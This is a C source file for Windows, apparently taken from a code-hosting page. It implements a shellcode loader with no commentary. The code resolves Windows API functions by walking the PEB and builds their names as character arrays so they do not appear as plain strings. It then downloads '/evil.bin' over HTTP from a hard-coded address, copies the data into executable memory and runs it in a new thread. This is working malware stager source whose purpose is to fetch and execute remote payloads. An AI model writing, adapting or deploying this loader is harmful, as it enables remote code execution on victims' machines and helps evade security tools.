1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243
| #include <Windows.h> #include <winternl.h> #include <Winhttp.h>
wchar_t my_towlower(wchar_t c) { if (c >= L'A' && c <= L'Z') { return c + 32; } return c; }
bool MyCompareStringW(const wchar_t* str1, const wchar_t* str2) { if (str1 == NULL || str2 == NULL) return false;
size_t i = 0; while (str1[i] != L'\0' && str2[i] != L'\0') { wchar_t c1 = my_towlower(str1[i]); wchar_t c2 = my_towlower(str2[i]);
if (c1 != c2) return false; i++; }
return (str1[i] == L'\0' && str2[i] == L'\0'); }
bool MyCompareStringA(CHAR str1[], CHAR str2[]) { int i = 0; while (str1[i] && str2[i]) { if (str1[i] != str2[i]) { return false; } i++; }
return (str1[i] == '\0' && str2[i] == '\0'); }
wchar_t* ExtractDllName(const wchar_t* fullDllName) { wchar_t* fileName = NULL; wchar_t* temp = (wchar_t*)fullDllName;
while (*temp) { if (*temp == L'\\') { fileName = temp + 1; } temp++; }
if (!fileName) { fileName = (wchar_t*)fullDllName; }
return fileName; }
FARPROC GetApiAddressByName(wchar_t* TargertDllName, char* ApiName) { PPEB pPEB = (PPEB)__readgsqword(0x60);
PPEB_LDR_DATA pLdr = pPEB->Ldr;
PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList; PLIST_ENTRY pCurrentEntry = pListHead->Flink; while (pCurrentEntry && pCurrentEntry != pListHead) { PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if (pEntry && pEntry->FullDllName.Buffer) { wchar_t* fullDllPath = pEntry->FullDllName.Buffer;
wchar_t* CurrentDllName = ExtractDllName(fullDllPath);
if (MyCompareStringW(CurrentDllName, TargertDllName)) { HMODULE hModule = (HMODULE)pEntry->DllBase;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew); PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* pFunctionNames = (DWORD*)((BYTE*)hModule + pExportDirectory->AddressOfNames); DWORD* pFunctionAddresses = (DWORD*)((BYTE*)hModule + pExportDirectory->AddressOfFunctions); WORD* pFunctionOrdinals = (WORD*)((BYTE*)hModule + pExportDirectory->AddressOfNameOrdinals);
for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) { char* functionName = (char*)((BYTE*)hModule + pFunctionNames[i]);
if (MyCompareStringA(functionName, ApiName)) { return (FARPROC)((BYTE*)hModule + pFunctionAddresses[pFunctionOrdinals[i]]); } }
return NULL; } }
pCurrentEntry = pCurrentEntry->Flink; }
return NULL; }
__declspec(code_seg(".text$A")) int main() { typedef int(WINAPI* MyMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType); typedef FARPROC(WINAPI* MyGetProcAddress)(HMODULE hModule, LPCSTR lpProcName); typedef HMODULE(WINAPI* MyLoadLibraryA)(LPCSTR lpLibFileName); typedef HINTERNET(WINAPI* MyInternetOpenA)(LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags); typedef HINTERNET(WINAPI* MyInternetConnectA)(HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext); typedef HINTERNET(WINAPI* MyHttpOpenRequestA)(HINTERNET hConnect, LPCSTR lpszVerb, LPCSTR lpszObjectName, LPCSTR lpszVersion, LPCSTR lpszReferrer, LPCSTR* lplpszAcceptTypes, DWORD dwFlags, DWORD_PTR dwContext); typedef BOOL(WINAPI* MyHttpSendRequestA)(HINTERNET hRequest, LPCSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength); typedef BOOL(WINAPI* MyInternetReadFile)(HINTERNET hFile, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead); typedef BOOL(WINAPI* MyInternetCloseHandle)(HINTERNET hInternet); typedef LPVOID (WINAPI* MyVirtualAlloc)(LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect); typedef void (WINAPI* MySleep)(DWORD dwMilliseconds); typedef VOID (WINAPI* MyRtlMoveMemory)(PVOID Destination, PVOID Source, SIZE_T Length); typedef HANDLE (WINAPI* MyCreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); typedef DWORD (WINAPI* MyWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds); typedef BOOL (WINAPI* MyCloseHandle)(HANDLE hObject); CHAR internetOpenA[] = { 'I','n','t','e','r','n','e','t','O','p','e','n','A','\0' }; CHAR internetConnectA[] = { 'I','n','t','e','r','n','e','t','C','o','n','n','e','c','t','A','\0' }; CHAR httpOpenRequestA[] = { 'H','t','t','p','O','p','e','n','R','e','q','u','e','s','t','A','\0' }; CHAR httpSendRequestA[] = { 'H','t','t','p','S','e','n','d','R','e','q','u','e','s','t','A','\0' }; CHAR internetReadFile[] = { 'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e','\0' }; CHAR internetCloseHandle[] = { 'I','n','t','e','r','n','e','t','C','l','o','s','e','H','a','n','d','l','e','\0' }; CHAR virtualAlloc[] = { 'V','i','r','t','u','a','l','A','l','l','o','c','\0' }; CHAR messageBoxA[] = { 'M','e','s','s','a','g','e','B','o','x','A','\0' }; CHAR sleep[] = { 'S','l','e','e','p','\0' }; CHAR rtlMoveMemory[] = { 'R','t','l','M','o','v','e','M','e','m','o','r','y','\0' }; CHAR createThread[] = { 'C','r','e','a','t','e','T','h','r','e','a','d','\0' }; CHAR waitForSingleObject[] = { 'W','a','i','t','F','o','r','S','i','n','g','l','e','O','b','j','e','c','t','\0' }; CHAR closeHandle[] = { 'C','l','o','s','e','H','a','n','d','l','e','\0' };
CHAR loadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' }; CHAR getProcAddress[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0' }; WCHAR kernel32[] = { 'K', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0' }; CHAR user32[] = { 'U','s','e','r','3','2','.','d','l','l','\0' }; CHAR wininet[] = { 'w','i','n','i','n','e','t','.','d','l','l','\0' }; CHAR UA[] = {'M','y','D','o','w','n','l','o','a','d','e','r','/','1','.','0','\0'}; CHAR IP[] = { '1','9','2','.','1','6','8','.','1','.','1','\0' }; CHAR PATH[] = { '/','e','v','i','l','.','b','i','n','\0'}; CHAR Method[] = {'G','E','T','\0'}; CHAR Version[] = { 'H','T','T','P','/','1','.','1','\0' };
MyGetProcAddress pGetProcAddress = (MyGetProcAddress)GetApiAddressByName(kernel32, getProcAddress); MyLoadLibraryA pLoadLibraryA = (MyLoadLibraryA)GetApiAddressByName(kernel32, loadLibraryA); MyVirtualAlloc pVirtualAlloc = (MyVirtualAlloc)GetApiAddressByName(kernel32, virtualAlloc); MySleep pSleep = (MySleep)GetApiAddressByName(kernel32, sleep); MyRtlMoveMemory pRtlMoveMemory = (MyRtlMoveMemory)GetApiAddressByName(kernel32, rtlMoveMemory); MyCreateThread pCreateThread = (MyCreateThread)GetApiAddressByName(kernel32, createThread); MyWaitForSingleObject pWaitForSingleObject = (MyWaitForSingleObject)GetApiAddressByName(kernel32, waitForSingleObject); MyCloseHandle pCloseHandle = (MyCloseHandle)GetApiAddressByName(kernel32, closeHandle); MyMessageBoxA pMessageBoxA = (MyMessageBoxA)pGetProcAddress(pLoadLibraryA(user32), messageBoxA); MyInternetOpenA pInternetOpenA = (MyInternetOpenA)pGetProcAddress(pLoadLibraryA(wininet), internetOpenA); MyInternetConnectA pInternetConnectA = (MyInternetConnectA)pGetProcAddress(pLoadLibraryA(wininet), internetConnectA); MyHttpOpenRequestA pHttpOpenRequestA = (MyHttpOpenRequestA)pGetProcAddress(pLoadLibraryA(wininet), httpOpenRequestA); MyHttpSendRequestA pHttpSendRequestA = (MyHttpSendRequestA)pGetProcAddress(pLoadLibraryA(wininet), httpSendRequestA); MyInternetReadFile pInternetReadFile = (MyInternetReadFile)pGetProcAddress(pLoadLibraryA(wininet), internetReadFile); MyInternetCloseHandle pInternetCloseHandle = (MyInternetCloseHandle)pGetProcAddress(pLoadLibraryA(wininet), internetCloseHandle);
HINTERNET hInternet = pInternetOpenA(UA, 1, NULL, NULL, 0);
HINTERNET hConnect = pInternetConnectA(hInternet, IP, 8080, NULL, NULL, 3, 0, 0);
HINTERNET hRequest = pHttpOpenRequestA(hConnect, Method, PATH, Version, NULL, NULL, 0, 0);
pHttpSendRequestA(hRequest, NULL, 0, NULL, 0);
const DWORD MAX_SHELLCODE_SIZE = 1024 * 1024; LPVOID lpbuffer = pVirtualAlloc(NULL, MAX_SHELLCODE_SIZE, MEM_COMMIT, PAGE_READWRITE);
DWORD dwTotalRead = 0; DWORD dwBytesRead = 0; do { if (!pInternetReadFile(hRequest, (LPBYTE)lpbuffer + dwTotalRead, MAX_SHELLCODE_SIZE - dwTotalRead, &dwBytesRead)) { break; } dwTotalRead += dwBytesRead; } while (dwBytesRead > 0 && dwTotalRead < MAX_SHELLCODE_SIZE);
if (hRequest) pInternetCloseHandle(hRequest); if (hConnect) pInternetCloseHandle(hConnect); if (hInternet) pInternetCloseHandle(hInternet);
LPVOID pExecutableMemory = pVirtualAlloc(NULL, dwTotalRead, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
pRtlMoveMemory(pExecutableMemory, lpbuffer, dwTotalRead);
pVirtualAlloc(lpbuffer, 0, MEM_RELEASE, 0);
HANDLE hThread = pCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pExecutableMemory, NULL, 0, NULL); if (hThread) { pWaitForSingleObject(hThread, INFINITE); pCloseHandle(hThread); }
pVirtualAlloc(pExecutableMemory, 0, MEM_RELEASE, 0);
return 0; }
|